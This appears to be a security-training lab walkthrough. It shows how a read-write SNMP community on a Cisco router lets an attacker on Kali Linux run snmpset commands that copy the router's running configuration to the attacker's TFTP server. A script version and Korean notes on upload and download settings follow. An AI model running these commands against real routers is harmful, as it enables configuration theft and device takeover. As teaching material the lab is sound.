Map |
|
Router setting |
enable configure terminal hostname IOU1 ! interface Loopback0 ip address 1.1.1.1 255.255.255.255 ! interface Ethernet0/0 ip address 10.1.4.254 255.255.255.0 no shutdown ! snmp-server community kgitbank RW 42 snmp-server community kgitbank1 RO snmp-server trap-source Loopback0 snmp-server host 10.1.4.2 kgitbank ! access-list 42 permit 10.1.4.2 |
Kali Linux |
Start tftp daemon and verify the daemon status # systemctl start atftpd # netstat -anlu |
Download router's configuration context to Router.cfg file on tftp server router ip : 10.1.4.254 / kali linux 10.1.4.2 / oid값중 60은 임의의 값 |
# snmpset -v 2c -c kgitbank 10.1.4.254 .1.3.6.1.4.1.9.9.96.1.1.1.1.2.60 i 1 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.60 i 4 .1.3.6.1.4.1.9.9.96.1.1.1.1.4.60 i 1 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.60 a "10.1.4.2" .1.3.6.1.4.1.9.9.96.1.1.1.1.6.60 s "Router.cfg" .1.3.6.1.4.1.9.9.96.1.1.1.1.14.60 i 1 |
Show context downloaded |
# cat /srv/tftp/Router.cfg |
We can execute as a script file.
Save a snmp-walk.sh file after types including below lines. |
#!/bin/sh NO=22 snmpset -v 2c -c kgitbank 10.1.4.254 .1.3.6.1.4.1.9.9.96.1.1.1.1.2.$NO i 1 snmpset -v 2c -c kgitbank 10.1.4.254 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.$NO i 4 snmpset -v 2c -c kgitbank 10.1.4.254 .1.3.6.1.4.1.9.9.96.1.1.1.1.4.$NO i 1 snmpset -v 2c -c kgitbank 10.1.4.254 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.$NO a "10.1.4.2" snmpset -v 2c -c kgitbank 10.1.4.254 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.$NO s "Router.cfg" snmpset -v 2c -c kgitbank 10.1.4.254 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.$NO i 1 |
각 OID에 대한 설명에서 N은 임의의 숫자를 의미한다. <ccCopyProtocol> 1.3.6.1.4.1.9.9.96.1.1.1.1.2.N i 1 tftp(1), ftp(2), rcp(3), scp(4), sftp(5) 라우터의 환경 설정파일을 upload/download할 대 사용할 프로토콜 지정하는데 사용한다.
<ccCopySrouceFileType> 1.3.6.1.4.1.9.9.96.1.1.1.1.3.N i 4 networkFile(1), iosfile(2), startupConfig(3), runningConfig(4), terminal(5) 복사할 환경설정 파일의 타입을 지정하기 위해서 사용한다. 공격자의 입장에서 환경 설정 파일을 다운로드 하기 위해서는 이 값을 3 또는 4로 지정하면 된다. 반대로 환경 설정 파일을 업로드 하기 위해서는 1로 설정한다.
<ccCopyDestinationFileType> 1.3.6.1.4.1.9.9.96.1.1.1.1.4.N i 1 networkFile(1), iosfile(2), startupConfig(3), runningConfig(4), terminal(5) 복사할 파일을 어떤 형태로 저장할 것인지를 지정하기 위해서 사용한다. 공격자의 입장에서 환경 설정 파일을 다운로드 하기 위해서는 이 값을 1로 지정하면 된다. 반대로 업로드 하기 위해서는 3 또는 4로 지정한다.
<ccCopyServerAddress> 1.3.6.1.4.1.9.9.96.1.1.1.1.5.N a 10.1.4.2 다운로드, 업로드에 사용할 서버의 IP주소를 입력한다. 공격자의 IP주소가 된다.
<ccCopyServerFileName> 1.3.6.1.4.1.9.9.96.1.1.1.1.6.N s "Router.cfg" 저장할 파일 이름 또는 복사할 파일 이름을 의미한다.
<ccCopyEntryRowStatus> 1.3.6.1.4.1.9.9.96.1.1.1.1.14.N i 4 active(1), nolnService(2), noReady(3), createAndGo(4), createAndWait(5), destroy(6) 생성된 테이블의 상태를 의미, 1로 설정할 경우 기록된 대로 파일 복사가 수행된다.
<ccCopyState> 1.3.6.1.4.1.9.9.96.1.1.1.1.10.N waiting(1), running(2), success(3), failed(4) Upload/Download의 결과를 확인한다. 결과 값이 3이면 성공한 것이다. |